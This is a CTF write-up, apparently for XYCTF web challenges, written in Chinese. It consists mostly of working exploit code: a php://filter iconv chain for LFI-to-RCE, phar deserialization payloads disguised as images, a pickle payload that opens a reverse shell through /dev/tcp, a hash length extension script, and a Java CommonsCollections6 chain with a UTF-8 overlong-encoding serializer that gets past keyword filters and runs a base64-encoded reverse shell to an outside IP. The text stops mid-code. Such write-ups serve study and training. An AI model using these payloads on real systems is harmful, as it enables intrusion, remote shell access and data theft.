convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode|convert.base64-decode

反正多套几层base64肯定能出,实在不行就从XYCTF一步步套上去

ezrce

原理和CTFShow极限rce一致,探姬师傅有个脚本,一把梭了…

并不(

记得加bash的符号就可以了

payload:

$0<<<$0\<\<\<\$\'\\173\\143\\141\\164\\54\\57\\146\\154\\141\\147\\175\\174\\142\\141\\163\\145\\66\\64\'

#{cat,/flag}|base64

去base64解码

pharme

测试可得允许上传的后缀为jpg

class.php是一个简单的无参RCE,利用__HALT_COMPILER();终止编译即可

exp:

<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd="eval(end(getallheaders()));__halt_compiler();";
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo 'nonono';
        }
    }
}

$h = new evil();
    $phar = new Phar('ezxy.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
    $phar ->addFromString('test.txt','test'); //添加要压缩的文件
    $object = $h;
    $phar -> setMetadata($object); //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>
<?php
error_reporting(0);
highlight_file(__FILE__);
class evil{
    public $cmd="print_r(getallheaders());__halt_compiler();";
    public $a;
    public function __destruct(){
        if('ch3nx1' === preg_replace('/;+/','ch3nx1',preg_replace('/[A-Za-z_\(\)]+/','',$this->cmd))){
            eval($this->cmd.'isbigvegetablechicken!');
        } else {
            echo 'nonono';
        }
    }
}

$h = new evil();
    $phar = new Phar('ezxy2.phar');
    $phar -> startBuffering();
    $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub 增加gif文件头
    $phar ->addFromString('test.txt','test'); //添加要压缩的文件
    $object = $h;
    $phar -> setMetadata($object); //将自定义meta-data存入manifest
    $phar -> stopBuffering();
?>

要绕过phar头,用下面的脚本:

from hashlib import sha1
import gzip

with open('ezxy2.phar', 'rb') as file:
    f = file.read()
s = f[:-28]  # 获取要签名的数据
h = f[-8:]  # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("ezxyy2.jpg", "wb")
f_gzip.write(new_file)
f_gzip.close()

触发phar:

compress.zlib://phar://xxx
compress.bzip://phar://xxx
zlib:phar://

我好像用的是第一个触发的

先传ezxyy2.jpg检测请求头,找到数组的最后一个元素

然后再传ezxyy.jpg打rce

ezClass

水题

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());

利用php的Error类带出信息即可:

new Error()->getMessage()能够获取到字符串
a=Error&b=Error&aa=system&bb=cat /f*&c=getMessage

在这里插入图片描述

εZ?¿м@Kε¿?

打开f12发现了hint.php,发现匹配规则如下:

/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/

这个正则的意思是匹配除了中括号以内的字符

也就是白名单只有这些符号

而且测试发现payload长度<8

也就是最多只能够用7的长度来执行

其实这里可以爆破()

生成一个11^7+11^6+11^5+11^4+11^3+11^2+11的字典即可((

然后本地测试()

测试发现:makefile里的$<就是/flag,但是没有直接读取的权限

这里结合一下linux的东西 $()也能够执行命令,<能够将东西输入到命令里,直接读取不行就用这样的方式读取:

$(</flag)

/flag重新定向到一个bash -i

外部相当于bash -c

其实就相当于bash -c "bash -i /flag"

替换一下/flag就是$<

payload:

$(<$<)

在这里插入图片描述

也不知道我解释的思路对不对,毕竟makefile这个东西我还是第一次见。

login

如果注意到这个题有个register.php的话就能够解决了

但是wsrx这个不给扫= =

/register.php注册一个账号,然后登录,发现啥也没有

下意识打开F12,发现了cookie这里有个Rememberme

下意识以为是shiro,然后高高兴兴地去拿shiro的工具打,发现根本不行

man!

然后才仔细看看它的cookie:

RememberMe=gASVLAAAAAAAAACMA2FwcJSMBUxvZ2lulJOUKYGUfZQojARuYW1llIwBMZSMA3B3ZJRoBnViLg==

一坨AAAA,其实这里是pickle的特征

看看base64
在这里插入图片描述

能直接解码显然不对劲了,还有一个app

这里很明显是python的服务器,那这个cookie经过base64decode的是啥呢?

搜一下就知道

百度:ctf RememberMe

发现是pickle的特征,这下就合理多了

那简单,打pick反序列化就对了,发现还有waf的,直接打不太行

发现过滤的是关键字,比如importsystem

但是os没有被过滤,这个时候直接用os.popen就好了:

import pickle
import base64
import os
opcode = b'''(S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
ios
popen
.'''

print(base64.b64encode(opcode))

反弹shell,源码如下:

import hashlib
import os
import pickle
import base64
import hashlib
from flask import Flask,request,session,render_template,redirect,make_response

class Login:
    def __init__(self,name,pwd):
        self.name = name
        self.pwd = pwd



def checkLogin(users,name,pwd):
    for user in users:
        if user.name == name and user.pwd == user.pwd:
            return True
    return False

def getUserclass(users,name,pwd):
    for user in users:
        if user.name == name and user.pwd == user.pwd:
            return user
    return None

def waf(data):
    if b'R' in data or b'r' in data:
        return False
    return True


 
app=Flask(__name__)
users = []

# pickle
@app.route('/',methods=['GET','POST'])
@app.route('/index.php',methods=['GET','POST'])
def index():
    try:
        RememberMe = request.cookies.get('RememberMe')
        print(RememberMe)
        pickle_data = base64.b64decode(RememberMe)
        print(pickle_data)
        if waf(pickle_data):
            print(pickle_data)
            user_class = pickle.loads(pickle_data)
            #print(user_class)
            return "hello world!  {}".format(user_class.name)
        else:
            return "waf!!!!"      
    except:
        return redirect("login.php")
    
# 登录
@app.route('/login.php',methods=['GET','POST'])
def login():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str and checkLogin(users,username,password):
            user_class = getUserclass(users,username,password)
            RememberMe = base64.b64encode(pickle.dumps(user_class))
            res=make_response("Login success! <a href='/'>Click here to redirect.</a>");
            res.set_cookie('RememberMe',RememberMe.decode('utf-8'))
            return res
        else:
            return "Login fail!"
    return render_template("login.html")

# 注册
@app.route('/register.php',methods=['GET','POST'])
def register():
    if request.method=="POST" and (username:=request.form.get('username')) and (password:=request.form.get('password')):
        if type(username)==str and type(password)==str:
            for user in users:
                if user.name == username:
                    return "Register fail!"
            users.append(Login(username,password))
            return "Register successs! Your username is {username}.".format(username=username)
        else:
            return "Register fail!"
    return render_template("register.html")
    
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000)

在这里插入图片描述

give me flag

哈希长度拓展攻击。

讲下原理吧。

md5的算法流程

在这里插入图片描述

对于一个字符串,其二进制长度=字符串长度*2*4

比如对于64个a,其二进制长度就会是64*2*4=512

对于MD5算法来说,要对原数据进行分块处理,以512个二进制数据为一块,直到最后的数据块,分为以下两种情况:

  • 长度<=448时,则会填充padding(无意义数据)使其长度达到448,再添加原始明文数据的二进制长度信息直到512位
  • 长度>448且<512时,填充padding到下一块的448位,再添加二进制长度信息至512位

将数据分块后就可以进行md5运算了

初始向量是确定的:

A=0x67452301
B=0xefcdab89
C=0x98badcfe
D=0x10325476

经过运算即可获得MD5值

而这个运算,对于一个确定的md5,可以通过一定的规则将md5转成secret+xxx的md5值

x

具体的过程可以看这篇文章:浅谈HASH长度拓展攻击 - Yunen的博客 - 博客园 (cnblogs.com),膜拜师傅Orz

哈希长度拓展攻击一般都推荐hashpump

但是我觉得hexpand更加好用:

hexpand安装

-t 明文加密方式
-s md5签名signature
-l 明文长度
-m 后面追加的数据
./hexpand -t md5 -s abcdefg -l 43 -m xxxx #把这个xxxx换成时间戳,abcdefg换成你的md5

这个43怎么来的呢?因为web的动态flag格式是:

flagname{uuid.uuid4()}

找个其他靶机看看flag格式也行,前缀flagname是XYCTFuuid.uuid4()的长度是36,加起来就是43了

由于这里题目给的是$flag.$value.$time,其中$time=time(),我们需要对时间戳进行预测提交,又由于提交时靶机有延迟,所以这里要测以下请求的时间差

$value.$time是我们要追加的信息,但是$time已经写好了,所以我们生成的md5时追加的信息要删掉

在这里插入图片描述

经过我测试大概提交时间和实际时间有三秒钟左右的延迟(计算两次请求的时间差),写出python脚本如下:

import requests
import re
import time

times = 1713193105 #实际提交时间-3

md5value = '375f1c986d1f091a622a7d7fdb1497a8' #利用hexpand生成的md5值,这里是实际提交时间

value = f'800000000000000000000000005801000000000000' #参考上面hexpand生成的结果,删掉最后20位数据
value2 = ''
for i in range(0, len(value), 2):
   value2+= "%"+value[i]+value[i+1]
print(value2) #生成urlencode payload

url = f"http://localhost:38864/?md5={md5value}&value={value2}"

while(True):
    print ("Time left " +str(time.time() - times))
    if (time.time() - times) > 0.01 and time.time() - times < 0.15: #判断一个大致区间即可🤔
        res = requests.get(url = url)
        time.sleep(3)
        print(res.text)
        break
    else:
        print("[*]Waiting..., time is " + str(time.time()))
        print("[*]Checking payload " + url)
        time.sleep(0.04)

ezLFI

源码:

<?php include_once($_REQUEST['file']);

filterchain秒杀:

import requests

#参数file
url = "http://127.0.0.1:5000/xyunser.php"
file_to_use = "/flag/resource=/etc/passwd"
command = "whoami"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
print(final_payload)
r = requests.get(url, params={
    "0": command,
    #"action": "include",
    "file": final_payload
})

print(r.text)

Baby_Unserialize(赛后复现)

这里真的测了很久…

黑盒java,出网,urldns链能打

在这里插入图片描述

想用cc链,但是根本打不得一点,直接返回HOW DARE YOU

这就难办了,也不知道后台有啥gadget,只能盲测一波。这里想到了[用urldns链探测gadget][https://mp.weixin.qq.com/s/KncxkSIZ7HVXZ0iNAX8xPA]

🤔,改一下测gadget:

BadAttributeValueExpException 可行
cb链 没有
jackson 没有
fastjson 没有
c3p0 没有
rome 没有
hessian 没有

一些常用的gadget
HotSwappable
XString也没有
甚至连templatesImpl也没有

。。。。。。。。

在这里插入图片描述

1

在这里插入图片描述

还有很多,就不放出来了

逆天,啥gadget都没

这里就在想它到底是怎么过滤的了。

测得关键字commons.collections被干掉了,🤔

这里还在想他是不是用serialkiller或者是其他的方式,比如常见的resolveClass给ban掉了,然后用一种很新的day给绕过

百思不得其解,只能去找找绕waf的方式

找是找到了,回忆飘如雪师傅的两个方式:

都没解,这么为难我一个小萌新干啥捏。。

遂放弃。

但其实是自己想太多了。。

还有一种可能就是只检测了解码后的String是否含有commons.collections,毕竟如果直接重写resolveClass就是无解的命题

只需要绕commons.collections即可:

cc6:

package com.Err0r233;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import gdufs.challenge.web.Utils;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
    public static void main(String[] args) throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEwNi41Mi45NC4yMy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));



        TiedMapEntry tiedMapEntry =  new TiedMapEntry(lazyMap, "aaa");
        HashMap<Object, Object> hashMap = new HashMap<>();



        hashMap.put(tiedMapEntry, "bbb");
        lazyMap.remove("aaa");

        Class c = LazyMap.class;
        Field factoryField = c.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap, chainedTransformer);

        ByteArrayOutputStream baos0 = new ByteArrayOutputStream();

        /*ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(baos);

        objectOutputStream.writeObject(hashMap);
        System.out.println(new String(baos.toByteArray()));*/

        UTF8_overlong_encode encode = new UTF8_overlong_encode(baos0);
        encode.writeObject(hashMap);

        System.out.println(new String(baos0.toByteArray()));


        //System.out.println(Serialize(hashMap));
        //String ser = Serialize(hashMap);
        //UnSerialize(ser);
        //UnSerialize(ser);
        /*ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(baos0.toByteArray()));
        objectInputStream.readObject();
        objectInputStream.close();*/
        System.out.println(Utils.Base64_Encode(baos0.toByteArray()));
    }

}

工具类:

package com.Err0r233;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
/**
 * 参考p神:https://mp.weixin.qq.com/s/fcuKNfLXiFxWrIYQPq7OCg
 * 参考1ue:https://t.zsxq.com/17LkqCzk8
 * 实现:参考 OObjectOutputStream# protected void writeClassDescriptor(ObjectStreamClass desc)方法
 */
public class UTF8_overlong_encode extends ObjectOutputStream {

    public UTF8_overlong_encode(OutputStream out) throws IOException {
        super(out);
    }

    private static HashMap<Character, int[]> map;
    private static Map<Character,int[]> bytesMap=new HashMap<>();

    static {
        map = new HashMap<>();
        map.put('.', new int[]{0xc0, 0xae});
        map.put(';', new int[]{0xc0, 0xbb});
        map.put('$', new int[]{0xc0, 0xa4});
        map.put('[', new int[]{0xc1, 0x9b});
        map.put(']', new int[]{0xc1, 0x9d});
        map.put('a', new int[]{0xc1, 0xa1});
        map.put('b', new int[]{0xc1, 0xa2});
        map.put('c', new int[]{0xc1, 0xa3});
        map.put('d', new int[]{0xc1, 0xa4});
        map.put('e', new int[]{0xc1, 0xa5});
        map.put('f', new int[]{0xc1, 0xa6});
        map.put('g', new int[]{0xc1, 0xa7});
        map.put('h', new int[]{0xc1, 0xa8});
        map.put('i', new int[]{0xc1, 0xa9});
        map.put('j', new int[]{0xc1, 0xaa});
        map.put('k', new int[]{0xc1, 0xab});
        map.put('l', new int[]{0xc1, 0xac});
        map.put('m', new int[]{0xc1, 0xad});
        map.put('n', new int[]{0xc1, 0xae});
        map.put('o', new int[]{0xc1, 0xaf});
        map.put('p', new int[]{0xc1, 0xb0});
        map.put('q', new int[]{0xc1, 0xb1});
        map.put('r', new int[]{0xc1, 0xb2});
        map.put('s', new int[]{0xc1, 0xb3});
        map.put('t', new int[]{0xc1, 0xb4});
        map.put('u', new int[]{0xc1, 0xb5});
        map.put('v', new int[]{0xc1, 0xb6});
        map.put('w', new int[]{0xc1, 0xb7});
        map.put('x', new int[]{0xc1, 0xb8});
        map.put('y', new int[]{0xc1, 0xb9});
        map.put('z', new int[]{0xc1, 0xba});
        map.put('A', new int[]{0xc1, 0x81});
        map.put('B', new int[]{0xc1, 0x82});
        map.put('C', new int[]{0xc1, 0x83});
        map.put('D', new int[]{0xc1, 0x84});
        map.put('E', new int[]{0xc1, 0x85});
        map.put('F', new int[]{0xc1, 0x86});
        map.put('G', new int[]{0xc1, 0x87});
        map.put('H', new int[]{0xc1, 0x88});
        map.put('I', new int[]{0xc1, 0x89});
        map.put('J', new int[]{0xc1, 0x8a});
        map.put('K', new int[]{0xc1, 0x8b});
        map.put('L', new int[]{0xc1, 0x8c});
        map.put('M', new int[]{0xc1, 0x8d});
        map.put('N', new int[]{0xc1, 0x8e});
        map.put('O', new int[]{0xc1, 0x8f});
        map.put('P', new int[]{0xc1, 0x90});
        map.put('Q', new int[]{0xc1, 0x91});
        map.put('R', new int[]{0xc1, 0x92});
        map.put('S', new int[]{0xc1, 0x93});
        map.put('T', new int[]{0xc1, 0x94});
        map.put('U', new int[]{0xc1, 0x95});
        map.put('V', new int[]{0xc1, 0x96});
        map.put('W', new int[]{0xc1, 0x97});
        map.put('X', new int[]{0xc1, 0x98});
        map.put('Y', new int[]{0xc1, 0x99});
        map.put('Z', new int[]{0xc1, 0x9a});


        bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
        bytesMap.put('.', new int[]{0xe0,0x80,0xae});
        bytesMap.put(';', new int[]{0xe0,0x80,0xbb});
        bytesMap.put('A', new int[]{0xe0,0x81,0x81});
        bytesMap.put('B', new int[]{0xe0,0x81,0x82});
        bytesMap.put('C', new int[]{0xe0,0x81,0x83});
        bytesMap.put('D', new int[]{0xe0,0x81,0x84});
        bytesMap.put('E', new int[]{0xe0,0x81,0x85});
        bytesMap.put('F', new int[]{0xe0,0x81,0x86});
        bytesMap.put('G', new int[]{0xe0,0x81,0x87});
        bytesMap.put('H', new int[]{0xe0,0x81,0x88});
        bytesMap.put('I', new int[]{0xe0,0x81,0x89});
        bytesMap.put('J', new int[]{0xe0,0x81,0x8a});
        bytesMap.put('K', new int[]{0xe0,0x81,0x8b});
        bytesMap.put('L', new int[]{0xe0,0x81,0x8c});
        bytesMap.put('M', new int[]{0xe0,0x81,0x8d});
        bytesMap.put('N', new int[]{0xe0,0x81,0x8e});
        bytesMap.put('O', new int[]{0xe0,0x81,0x8f});
        bytesMap.put('P', new int[]{0xe0,0x81,0x90});
        bytesMap.put('Q', new int[]{0xe0,0x81,0x91});
        bytesMap.put('R', new int[]{0xe0,0x81,0x92});
        bytesMap.put('S', new int[]{0xe0,0x81,0x93});
        bytesMap.put('T', new int[]{0xe0,0x81,0x94});
        bytesMap.put('U', new int[]{0xe0,0x81,0x95});
        bytesMap.put('V', new int[]{0xe0,0x81,0x96});
        bytesMap.put('W', new int[]{0xe0,0x81,0x97});
        bytesMap.put('X', new int[]{0xe0,0x81,0x98});
        bytesMap.put('Y', new int[]{0xe0,0x81,0x99});
        bytesMap.put('Z', new int[]{0xe0,0x81,0x9a});
        bytesMap.put('[', new int[]{0xe0,0x81,0x9b});
        bytesMap.put(']', new int[]{0xe0,0x81,0x9d});
        bytesMap.put('a', new int[]{0xe0,0x81,0xa1});
        bytesMap.put('b', new int[]{0xe0,0x81,0xa2});
        bytesMap.put('c', new int[]{0xe0,0x81,0xa3});
        bytesMap.put('d', new int[]{0xe0,0x81,0xa4});
        bytesMap.put('e', new int[]{0xe0,0x81,0xa5});
        bytesMap.put('f', new int[]{0xe0,0x81,0xa6});
        bytesMap.put('g', new int[]{0xe0,0x81,0xa7});
        bytesMap.put('h', new int[]{0xe0,0x81,0xa8});
        bytesMap.put('i', new int[]{0xe0,0x81,0xa9});
        bytesMap.put('j', new int[]{0xe0,0x81,0xaa});
        bytesMap.put('k', new int[]{0xe0,0x81,0xab});
        bytesMap.put('l', new int[]{0xe0,0x81,0xac});
        bytesMap.put('m', new int[]{0xe0,0x81,0xad});
        bytesMap.put('n', new int[]{0xe0,0x81,0xae});
        bytesMap.put('o', new int[]{0xe0,0x81,0xaf});
        bytesMap.put('p', new int[]{0xe0,0x81,0xb0});
        bytesMap.put('q', new int[]{0xe0,0x81,0xb1});
        bytesMap.put('r', new int[]{0xe0,0x81,0xb2});
        bytesMap.put('s', new int[]{0xe0,0x81,0xb3});
        bytesMap.put('t', new int[]{0xe0,0x81,0xb4});
        bytesMap.put('u', new int[]{0xe0,0x81,0xb5});
        bytesMap.put('v', new int[]{0xe0,0x81,0xb6});
        bytesMap.put('w', new int[]{0xe0,0x81,0xb7});
        bytesMap.put('x', new int[]{0xe0,0x81,0xb8});
        bytesMap.put('y', new int[]{0xe0,0x81,0xb9});
        bytesMap.put('z', new int[]{0xe0,0x81,0xba});

    }



    public void charWritTwoBytes(String name){
        //将name进行overlong Encoding
        byte[] bytes=new byte[name.length() * 2];
        int k=0;
        StringBuffer str=new StringBuffer();
        for (int i = 0; i < name.length(); i++) {
            int[] bs = map.get(name.charAt(i));
            bytes[k++]= (byte) bs[0];
            bytes[k++]= (byte) bs[1];
            str.append(Integer.toHexString(bs[0])+",");
            str.append(Integer.toHexString(bs[1])+",");
        }
        System.out.println(str.toString());
        try {
            writeShort(name.length() * 2);
            write(bytes);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }

    }
    public void charWriteThreeBytes(String name){
        //将name进行overlong Encoding
        byte[] bytes=new byte[name.length() * 3];
        int k=0;
        StringBuffer str=new StringBuffer();
        for (int i = 0; i < name.length(); i++) {
            int[] bs = bytesMap.get(name.charAt(i));
            bytes[k++]= (byte) bs[0];
            bytes[k++]= (byte) bs[1];
            bytes[k++]= (byte) bs[2];
            str.append(Integer.toHexString(bs[0])+",");
            str.append(Integer.toHexString(bs[1])+",");
            str.append(Integer.toHexString(bs[2])+",");
        }
        System.out.println(str.toString());
        try {
            writeShort(name.length() * 3);
            write(bytes);
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }


    protected void writeClassDescriptor(ObjectStreamClass desc)
            throws IOException {
        String name = desc.getName();
        boolean externalizable = (boolean) getFieldValue(desc, "externalizable");
        boolean serializable = (boolean) getFieldValue(desc, "serializable");
        boolean hasWriteObjectData = (boolean) getFieldValue(desc, "hasWriteObjectData");
        boolean isEnum = (boolean) getFieldValue(desc, "isEnum");
        ObjectStreamField[] fields = (ObjectStreamField[]) getFieldValue(desc, "fields");
        System.out.println(name);
        //写入name(jdk原生写入方法)
//        writeUTF(name);
        //写入name(两个字节表示一个字符)
//        charWritTwoBytes(name);
        //写入name(三个字节表示一个字符)
        charWriteThreeBytes(name);


        writeLong(desc.getSerialVersionUID());
        byte flags = 0;
        if (externalizable) {
            flags |= ObjectStreamConstants.SC_EXTERNALIZABLE;
            Field protocolField =
                    null;
            int protocol;
            try {
                protocolField = ObjectOutputStream.class.getDeclaredField("protocol");
                protocolField.setAccessible(true);
                protocol = (int) protocolField.get(this);
            } catch (NoSuchFieldException e) {
                throw new RuntimeException(e);
            } catch (IllegalAccessException e) {
                throw new RuntimeException(e);
            }
            if (protocol != ObjectStreamConstants.PROTOCOL_VERSION_1) {
